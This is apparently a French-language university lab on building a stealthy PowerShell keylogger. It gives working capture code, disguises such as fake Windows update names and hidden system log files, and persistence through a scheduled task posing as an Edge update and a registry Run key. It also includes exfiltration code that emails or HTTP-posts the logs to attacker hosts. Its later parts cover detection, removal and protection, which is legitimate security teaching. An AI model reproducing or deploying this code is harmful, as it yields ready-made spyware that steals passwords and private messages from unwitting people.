Lab 3.3: Keylogger PowerShell - Capture de Frappes Clavier
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Comprendre le fonctionnement d'un keylogger
- Créer un keylogger PowerShell simple
- Implémenter la furtivité et la persistence
- Détecter la présence d'un keylogger
- Comprendre les risques liés aux PC publics et non surveillés
- Appliquer des mesures de protection
Durée Estimée
35 minutes
Prérequis
- VM Windows 10/11
- PowerShell
- Compréhension des Labs 3.1 et 3.2
Contexte Professionnel
Les keyloggers sont utilisés par:
- Attaquants pour voler mots de passe et informations sensibles
- Entreprises pour surveillance employés (avec consentement légal!)
- Parents pour surveiller activité enfants (contrôle parental)
- Gouvernements pour surveillance ciblée (avec mandat)
Ce lab démontre:
- Comment TOUT ce que vous tapez peut être capturé
- Pourquoi les PC publics sont dangereux
- Comment les voleurs d'identité opèrent
- Importance de la sécurité physique
- Techniques de détection
⚠️ AVERTISSEMENT ÉTHIQUE ET LÉGAL - EXTRÊMEMENT IMPORTANT
CE LAB ENSEIGNE LA CRÉATION D'UN KEYLOGGER
Les keyloggers sont des outils EXTRÊMEMENT invasifs qui capturent TOUT ce qui est tapé: mots de passe, messages privés, emails, numéros de carte bancaire, etc.
LÉGAL UNIQUEMENT SI:
- Sur votre propre ordinateur/VM
- Avec consentement écrit de toutes les personnes surveillées
- Pour tests de sécurité autorisés par contrat
- Pour surveillance parentale légale (mineurs uniquement)
STRICTEMENT ILLÉGAL:
- Installer sur l'ordinateur d'autrui sans consentement
- Sur PC publics (bibliothèque, café, etc.)
- Sur PC de travail sans autorisation employeur
- Sur PC de conjoint/partenaire/famille sans consentement
CONSÉQUENCES EXTRÊMEMENT GRAVES:
- Crime grave: Atteinte à la vie privée (Code criminel art. 184)
- Prison jusqu'à 5 ans
- Amendes massives
- Casier judiciaire permanent
- Poursuite civile pour dommages
- Expulsion académique
DANS CERTAINS PAYS/ÉTATS:
- Keylogging = Crime au même niveau que l'écoute électronique
- Peines encore plus sévères
CE LAB EST POUR COMPRÉHENSION ET DÉFENSE UNIQUEMENT
En réalisant ce lab, vous comprenez que ces techniques existent et vous apprenez à vous en protéger. L'utilisation malveillante est VOTRE responsabilité et aura des conséquences légales graves.
Partie 1: Comprendre les Keyloggers
Étape 1.1: Qu'est-ce qu'un Keylogger?
Keylogger = Logiciel (ou matériel) qui enregistre toutes les frappes clavier.
Capture:
- Mots de passe
- Messages (email, chat, SMS)
- Documents tapés
- Recherches web
- Numéros de carte bancaire
- Code PIN
- TOUT!
Types:
- Software (ce lab): Programme qui tourne en arrière-plan
- Hardware: Dispositif physique entre clavier et PC
- Kernel-level: Intégré au système d'exploitation
- Hypervisor-level: Au niveau de la virtualisation
Étape 1.2: Comment Ça Fonctionne?
Principe technique:
- Hook clavier: Intercepte les événements clavier
- Capture touche: Enregistre quelle touche est pressée
- Timestamp: Heure exacte de la frappe
- Fenêtre active: Quel programme/site est actif
- Sauvegarde: Écrit dans fichier log caché
- Exfiltration: Envoie les logs à l'attaquant
API Windows utilisée:
GetAsyncKeyState()- État actuel des touchesGetForegroundWindow()- Fenêtre activeGetWindowText()- Titre de la fenêtre
Questions:
- Avez-vous déjà utilisé un PC public (bibliothèque, café)?
- Avez-vous tapé des mots de passe sur ces PC?
Étape 1.3: Scénarios d'Utilisation Malveillante
Scénario 1: PC Public
- Keylogger installé sur PC de bibliothèque
- Vous tapez mot de passe email/banque
- Attaquant récupère le log plus tard
- Accède à tous vos comptes
Scénario 2: USB Malveillant
- Clé USB trouvée contient keylogger
- Auto-exécution ou curiosité → Installation
- Capture pendant des mois
- Vol d'identité complet
Scénario 3: Conjoint Jaloux
- Installation sur PC partagé
- Capture conversations, emails
- Violation de vie privée grave
- Illégal même entre conjoints!
Questions: 3. Quel scénario vous semble le plus probable? 4. Comment vous protégeriez-vous?
Partie 2: Création du Keylogger
Étape 2.1: Version Basique (15 lignes!)
Créez un fichier keylogger_basic.ps1:
# Keylogger PowerShell Basique
$logFile = "$env:TEMP\log.txt"
Add-Type -AssemblyName System.Windows.Forms
while ($true) {
Start-Sleep -Milliseconds 10
foreach ($key in [Enum]::GetValues([System.Windows.Forms.Keys])) {
if ([System.Windows.Forms.Control]::IsKeyLocked($key)) {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logEntry = "$timestamp - $key"
Add-Content -Path $logFile -Value $logEntry
}
}
}
ATTENTION: Ce code est simplifié pour démonstration. Version réelle est plus complexe.
Exécutez en arrière-plan:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File keylogger_basic.ps1
Fenêtre invisible! Le keylogger tourne en arrière-plan.
Étape 2.2: Version Améliorée (Plus Réaliste)
Créez keylogger_advanced.ps1:
# Keylogger PowerShell Avancé
# POUR USAGE ÉDUCATIF UNIQUEMENT!
$logFile = "$env:APPDATA\Microsoft\Windows\winlog.txt"
$lastWindow = ""
# Signature API Windows
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class KeyLogger {
[DllImport("user32.dll")]
public static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
}
"@
function Get-ActiveWindowTitle {
$handle = [KeyLogger]::GetForegroundWindow()
$title = New-Object System.Text.StringBuilder 256
[void][KeyLogger]::GetWindowText($handle, $title, $title.Capacity)
return $title.ToString()
}
function Write-Log {
param($text)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Add-Content -Path $logFile -Value "[$timestamp] $text" -Force
}
Write-Log "===== Keylogger Started ====="
# Boucle principale
while ($true) {
Start-Sleep -Milliseconds 10
# Vérifier fenêtre active
$currentWindow = Get-ActiveWindowTitle
if ($currentWindow -ne $lastWindow -and $currentWindow -ne "") {
Write-Log "`n=== Window: $currentWindow ==="
$lastWindow = $currentWindow
}
# Vérifier chaque touche
for ($i = 8; $i -le 190; $i++) {
$keyState = [KeyLogger]::GetAsyncKeyState($i)
if ($keyState -eq -32767) {
# Touche pressée
$key = [System.Enum]::GetName([System.Windows.Forms.Keys], $i)
# Touches spéciales
switch ($i) {
8 { Write-Log "[BACKSPACE]"; break }
9 { Write-Log "[TAB]"; break }
13 { Write-Log "[ENTER]`n"; break }
16 { continue } # Shift
17 { continue } # Ctrl
18 { continue } # Alt
20 { Write-Log "[CAPSLOCK]"; break }
27 { Write-Log "[ESC]"; break }
32 { Write-Log " "; break }
46 { Write-Log "[DELETE]"; break }
default {
# Lettre ou chiffre
if ($key) {
$char = [char]$i
Write-Log $char -NoNewline
}
}
}
}
}
}
Fonctionnalités:
- ✅ Capture toutes les touches
- ✅ Détecte la fenêtre active (savoir quel site/app)
- ✅ Timestamp précis
- ✅ Fichier log caché
- ✅ Gère touches spéciales (Enter, Backspace, etc.)
Questions: 5. Combien de lignes fait ce keylogger? 6. Est-ce difficile à créer? (Réponse: NON!)
Étape 2.3: Exécution et Test
Lancez le keylogger:
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Path\To\keylogger_advanced.ps1"
Maintenant, tapez des choses:
- Ouvrez Notepad
- Tapez: "Ceci est un test"
- Ouvrez navigateur
- Tapez: "mot de passe: Test123!"
- Ouvrez calculatrice
- Tapez quelques chiffres
Arrêtez le keylogger:
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Étape 2.4: Voir les Résultats
Ouvrez le fichier log:
notepad "$env:APPDATA\Microsoft\Windows\winlog.txt"
VOUS VOYEZ:
[2024-11-08 14:23:15] ===== Keylogger Started =====
[2024-11-08 14:23:20] === Window: Sans titre - Bloc-notes ===
C e c i e s t u n t e s t [ENTER]
[2024-11-08 14:23:45] === Window: Google Chrome - google.com ===
m o t d e p a s s e : T e s t 1 2 3 ! [ENTER]
[2024-11-08 14:24:10] === Window: Calculatrice ===
1 2 3 4 5 6 7 8 9 0
WOW! TOUT EST CAPTURÉ!
Même:
- Les mots de passe (affichés en points mais captés en clair!)
- Les fenêtres utilisées
- L'heure exacte
- Les touches spéciales
Questions: 7. Êtes-vous surpris de voir tout ce qui a été capturé? 8. Imaginez ce fichier après une journée complète...
Partie 3: Furtivité et Persistence
Étape 3.1: Rendre Invisible
Problème actuel:
- Processus powershell.exe visible dans Task Manager
- Consommation CPU visible
- Fichier log découvrable
Améliorations:
1. Nom de processus déguisé:
Renommer le script:
winupdate.ps1(ressemble à Windows Update)svchost.ps1(ressemble à service Windows)chrome_update.ps1(ressemble à Chrome)
2. Fichier log caché:
$logFile = "$env:APPDATA\Microsoft\Windows\Logs\winupdate.log"
# Créer dossier si inexistant
New-Item -ItemType Directory -Force -Path (Split-Path $logFile)
# Marquer fichier comme caché et système
$file = Get-Item $logFile -Force
$file.Attributes = 'Hidden,System'
3. Réduire consommation CPU:
# Au lieu de 10ms, utiliser 50ms ou 100ms
Start-Sleep -Milliseconds 50
Moins précis mais moins détectable!
Étape 3.2: Persistence Automatique
Méthode 1: Tâche Planifiée
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\winupdate.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogon
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" `
-Action $action -Trigger $trigger -Principal $principal `
-Description "Keeps your Microsoft Edge up to date"
Nom qui ressemble à tâche légitime!
Méthode 2: Clé Registre Run
$scriptPath = "C:\Windows\Temp\winupdate.ps1"
$psCommand = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File $scriptPath"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "WindowsSecurityUpdate" -Value $psCommand
Démarre à chaque login!
Méthode 3: Service Windows (Avancé)
# Créer service Windows déguisé
# Nécessite privilèges SYSTEM
# Non couvert en détail ici mais très efficace
Questions: 9. Quelle méthode de persistence préférez-vous? 10. Comment un utilisateur normal détecterait-il cela?
Étape 3.3: Exfiltration des Logs
Problème: Attaquant doit récupérer le fichier log
Solutions:
1. Email automatique (simple):
# Envoyer log par email tous les jours
$emailFrom = "keylogger@attacker.com"
$emailTo = "attacker@evil.com"
$subject = "Log from $env:COMPUTERNAME"
$body = Get-Content $logFile -Raw
$smtp = "smtp.attacker.com"
Send-MailMessage -From $emailFrom -To $emailTo -Subject $subject -Body $body -SmtpServer $smtp
2. Upload HTTP (furtif):
$url = "http://attacker.com/upload.php"
$logContent = Get-Content $logFile -Raw
Invoke-WebRequest -Uri $url -Method POST -Body @{data=$logContent} -UseBasicParsing
3. Reverse shell périodique:
Envoyer log via reverse shell établi (Lab 3.2!)
4. Stockage cloud (très furtif):
# Upload vers Dropbox/OneDrive/Google Drive
# Passe sous le radar car trafic "légitime"
Détection difficile car ressemble à trafic normal!
Partie 4: Détection de Keylogger
Étape 4.1: Détection par Processus
Chercher processus PowerShell suspects:
Get-Process powershell | Select-Object Id,ProcessName,StartTime,Path,CommandLine | Format-List
Suspect si:
- Démarré au login
- Argument contient "Hidden"
- Pas lancé par vous
- Tourne depuis longtemps
Terminer processus suspect:
Stop-Process -Id <PID> -Force
Étape 4.2: Détection par Fichiers
Chercher fichiers logs suspects:
# Chercher fichiers .txt ou .log récemment modifiés
Get-ChildItem -Path C:\Users\$env:USERNAME\AppData -Recurse -Include *.txt,*.log -Force -ErrorAction SilentlyContinue |
Where-Object {$_.LastWriteTime -gt (Get-Date).AddHours(-1)} |
Select-Object FullName,Length,LastWriteTime
Examinez fichiers suspects:
notepad "C:\Path\To\Suspicious\File.txt"
Si vous voyez vos propres frappes = KEYLOGGER!
Étape 4.3: Détection par Tâches Planifiées
Lister toutes les tâches:
Get-ScheduledTask | Where-Object {$_.State -eq "Ready"} |
Select-Object TaskName,TaskPath,State |
Format-Table -AutoSize
Examiner tâches suspectes:
$task = Get-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore"
$task | Select-Object * | Format-List
$task.Actions
Suspect si:
- Nom ressemble à service Windows mais n'existe pas vraiment
- Action = PowerShell avec script inconnu
- Vous ne l'avez pas créée
Supprimer:
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateTaskMachineCore" -Confirm:$false
Étape 4.4: Détection par Registre
Vérifier clés Run:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Toute entrée inconnue = suspect!
Supprimer:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsSecurityUpdate"
Étape 4.5: Outils de Détection Automatisés
Utiliser antivirus/antimalware:
# Windows Defender scan complet
Start-MpScan -ScanType FullScan
Outils spécialisés:
- Malwarebytes (gratuit)
- HitmanPro
- RogueKiller
- KL-Detector (spécifique keyloggers)
Questions: 11. Avez-vous détecté votre propre keylogger? 12. Combien de temps a pris la détection?
Partie 5: Scénarios Réels et Impact
Étape 5.1: Vol d'Identité Complet
Ce qu'un keylogger peut capturer en 1 semaine:
Jour 1:
- Email: identifiant + mot de passe
- Réseaux sociaux: Facebook, Instagram, Twitter
- Recherches Google personnelles
Jour 2:
- Banque en ligne: identifiant + mot de passe + code
- Numéro de carte bancaire + CVV + date d'expiration
- Conversations privées (Messenger, WhatsApp Web)
Jour 3:
- VPN entreprise: accès réseau corporatif
- Emails professionnels sensibles
- Documents confidentiels tapés
Jour 4:
- Mots de passe de collègues (si partagés)
- Credentials serveurs
- Secrets industriels
Jour 5-7:
- Accumulation de données
- Patterns de vie (heures de connexion, habitudes)
- Contacts et relations
RÉSULTAT:
- Vol d'identité total
- Accès à tous vos comptes
- Compromission de votre employeur
- Chantage possible
- Ruine financière potentielle
Étape 5.2: Cas Réel - Magic Lantern (FBI)
2001: FBI développe keylogger "Magic Lantern"
- Déployé via exploit ou physical access
- Capture clés de chiffrement
- Contourne PGP et autres chiffrements
Révélé publiquement: Controverse sur vie privée
Étape 5.3: Cas Réel - Cybercafés en Asie
2010s: Keyloggers découverts sur 60% des PC de cybercafés
- Thailande, Philippines, Inde
- Touristes victimes
- Comptes bancaires vidés après retour chez eux
Conseil voyage: JAMAIS accéder banque depuis PC public!
Étape 5.4: Cas Réel - Entreprise Compromise
2018: Entreprise pharmaceutique compromise
- Keylogger installé sur PC d'employé via phishing
- Accès VPN capturé
- Lateral movement vers serveurs R&D
- Vol de formules médicamenteuses valant $100M+
Coût total: Faillite de l'entreprise!
Questions: 13. Ces scénarios vous semblent-ils réalistes? 14. Quelle serait l'impact si keylogger sur votre PC maintenant?
Partie 6: Mesures de Protection
Étape 6.1: Protection Personnelle
1. JAMAIS utiliser PC public pour:
- Banque en ligne
- Réseaux sociaux
- Achat en ligne
- Anything sensible!
2. Clavier virtuel (on-screen keyboard):
osk
Clickez lettres au lieu de taper = contourne keylogger!
Limitation: Pas pratique pour usage quotidien
3. Gestionnaire de mots de passe:
Bitwarden, 1Password, LastPass:
- Auto-remplissage = pas de frappe clavier!
- Keylogger capture rien
4. Authentification à deux facteurs (2FA):
Même si mot de passe volé:
- 2FA empêche connexion
- Code sur téléphone requis
Étape 6.2: Protection Entreprise
1. Antivirus/EDR:
Endpoint Detection and Response:
- Détecte comportements suspects
- Bloque keyloggers connus
- Alerte équipe sécurité
2. Application Whitelisting:
Seuls programmes autorisés peuvent s'exécuter:
# AppLocker
# Device Guard
# Windows Defender Application Control
3. Politique d'exécution PowerShell:
Set-ExecutionPolicy AllSigned -Force
Seuls scripts signés par autorité approuvée!
4. Monitoring:
- SIEM (Security Information and Event Management)
- Log tous les processus PowerShell
- Alerte si execution avec "-Hidden"
Étape 6.3: Protection Physique
PC Personnel:
- BitLocker activé (empêche installation en mode récupération)
- Verrouillage automatique après 1 minute
- Mot de passe BIOS (empêche boot alternatif)
- Jamais laisser sans surveillance
PC Entreprise: 5. Full Disk Encryption mandatory 6. USB ports désactivés (empêche autorun) 7. Surveillance vidéo des salles serveurs 8. Badge d'accès requis
Partie 7: Keyloggers Hardware
Étape 7.1: Qu'est-ce qu'un Keylogger Hardware?
Dispositif physique:
- Branché entre clavier et PC
- OU intégré dans le clavier
- OU intégré dans le câble
Avantages (pour attaquant):
- Impossible à détecter par logiciel!
- Pas d'antivirus qui peut le trouver
- Fonctionne sur tout OS (Windows, Linux, Mac)
- Pas de processus à cacher
Apparence:
- Ressemble à adaptateur USB
- Ou complètement invisible (intégré)
Étape 7.2: Détection Hardware
Comment détecter:
-
Inspection visuelle régulière
- Vérifier connexions clavier
- Chercher dispositifs entre clavier et PC
- Comparer avec état normal
-
Vérifier câbles
- Boîtier suspect sur le câble?
- Câble plus épais que d'habitude?
-
Baseline matériel
- Photographier setup normal
- Comparer régulièrement
En entreprise:
- Scellés de sécurité sur connecteurs
- Inventaire matériel strict
- Inspections régulières
Étape 7.3: Protection Contre Hardware
Solutions:
- Clavier sans fil Bluetooth (plus difficile à intercepter)
- Inspection visuelle régulière
- Environnement contrôlé
- Clavier virtuel pour mots de passe critiques
Partie 8: Exercices Pratiques
Exercice 8.1: Améliorer le Keylogger
Ajoutez ces fonctionnalités:
- Capture de screenshots périodiques
- Détection de mots-clés ("password", "bank", "credit card")
- Chiffrement du fichier log
- Compression avant exfiltration
Exercice 8.2: Script de Détection
Créez un script qui:
- Scanne processus PowerShell suspects
- Vérifie tâches planifiées
- Cherche fichiers logs suspects
- Vérifie clés registre Run
- Génère rapport HTML
Exercice 8.3: Politique de Sécurité
Rédigez une politique d'entreprise:
- Interdiction keyloggers
- Procédures de détection
- Sanctions en cas d'utilisation
- Formation des employés
Livrables
À remettre:
-
Document d'analyse (Word/PDF, 3-4 pages):
- Réponses aux 14 questions
- Explication fonctionnement keylogger
- Capture d'écran du fichier log (ANONYMISÉ!)
- Analyse des risques personnels
-
Captures d'écran (minimum 5):
- Code du keylogger
- Processus PowerShell en cours
- Fichier log avec captures (anonymisées!)
- Tâche planifiée de persistence
- Détection et suppression
-
Plan de protection personnel (1-2 pages):
- Évaluation de vos risques actuels
- Mesures à mettre en place
- Changements d'habitudes
- Timeline d'implémentation
-
Sensibilisation (optionnel, +5% bonus):
- Vidéo ou présentation (5 min)
- "Pourquoi ne jamais utiliser PC public"
- Démonstration du keylogger
- Conseils de protection
Critères d'Évaluation
| Critère | Points |
|---|---|
| Keylogger fonctionnel créé et testé | 25% |
| Compréhension du fonctionnement | 20% |
| Détection et suppression réussies | 20% |
| Analyse des risques réels | 15% |
| Plan de protection personnel | 15% |
| Qualité documentation | 5% |
| Bonus sensibilisation | +5% |
Commandes de Référence Rapide
Exécution
# Lancer keylogger caché
Start-Process powershell -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass -File keylogger.ps1"
# Arrêter
Get-Process powershell | Where-Object {$_.CommandLine -like "*keylogger*"} | Stop-Process
Détection
# Processus suspects
Get-Process powershell | Select Id,StartTime,CommandLine
# Fichiers logs récents
Get-ChildItem -Path $env:APPDATA -Recurse -Include *.txt,*.log -Force
# Tâches planifiées
Get-ScheduledTask | Where State -eq "Ready"
# Clés Run
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Nettoyage
# Supprimer tâche
Unregister-ScheduledTask -TaskName "SuspiciousTask"
# Supprimer clé registre
Remove-ItemProperty -Path "HKCU:\...\Run" -Name "Suspicious"
# Supprimer fichier log
Remove-Item -Path $logFile -Force
Dépannage
Problème: Keylogger ne capture rien
Solution:
- Vérifiez que le script s'exécute (
Get-Process powershell) - Vérifiez que le fichier log est créé
- Droits d'écriture dans le dossier?
Problème: Antivirus bloque
Solution:
- C'est NORMAL! C'est un keylogger!
- Ajoutez exclusion pour ce lab uniquement
- Réactivez protection après
Problème: Consommation CPU élevée
Solution:
- Augmentez délai
Start-Sleep(50ms ou 100ms) - Optimisez la boucle de détection
Aller Plus Loin (Optionnel)
Challenge 1: Keylogger GUI
Créez interface graphique pour:
- Démarrer/arrêter capture
- Voir logs en temps réel
- Filtrer par application
- Exporter en différents formats
Challenge 2: Anti-Keylogger
Développez outil qui:
- Détecte keyloggers actifs
- Les supprime automatiquement
- Protège en temps réel
- Alerte utilisateur
Challenge 3: Recherche
Étudiez keyloggers professionnels:
- FinFisher/FinSpy (gouvernemental)
- Ardamax Keylogger (commercial)
- Perfect Keylogger (commercial)
Comparez avec votre version.
Ressources Additionnelles
- Windows API Documentation
- GetAsyncKeyState Function
- PowerShell Security Best Practices
- OWASP - Keyloggers
Conclusion
Ce lab vous a enseigné:
- Créer un keylogger PowerShell fonctionnel
- Implémenter furtivité et persistence
- Détecter et supprimer keyloggers
- Comprendre les risques réels
- Appliquer mesures de protection
Leçons CRITIQUES:
- 15 lignes de code = Keylogger fonctionnel!
- TOUT ce que vous tapez peut être capturé
- PC publics = DANGER EXTRÊME
- Gestionnaire de mots de passe = Protection essentielle
- Jamais taper mots de passe sensibles sur PC non sûr
- Détection difficile mais possible avec vigilance
PRISE DE CONSCIENCE:
Après ce lab, vous ne verrez plus jamais un clavier de la même façon. Chaque fois que vous tapez un mot de passe, demandez-vous: "Ce PC est-il sûr?"
PROTÉGEZ-VOUS:
- Utilisez gestionnaire de mots de passe MAINTENANT
- Activez 2FA sur TOUS vos comptes
- JAMAIS de banking sur PC public
- Vérifiez régulièrement vos processus
- Éduquez votre entourage
MESSAGE FINAL:
Vous avez maintenant le pouvoir de créer un keylogger en quelques minutes. Ce pouvoir vient avec une ÉNORME responsabilité.
Utilisez ces connaissances pour:
- ✅ Vous protéger
- ✅ Protéger les autres
- ✅ Sensibiliser votre entourage
- ✅ Tests de sécurité autorisés
JAMAIS pour:
- ❌ Espionner
- ❌ Voler
- ❌ Violer la vie privée
- ❌ Nuire
Soyez du côté des gentils. 🛡️
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 3
⚠️ RAPPEL FINAL: Keylogger sur ordinateur d'autrui = CRIME GRAVE. Prison garantie.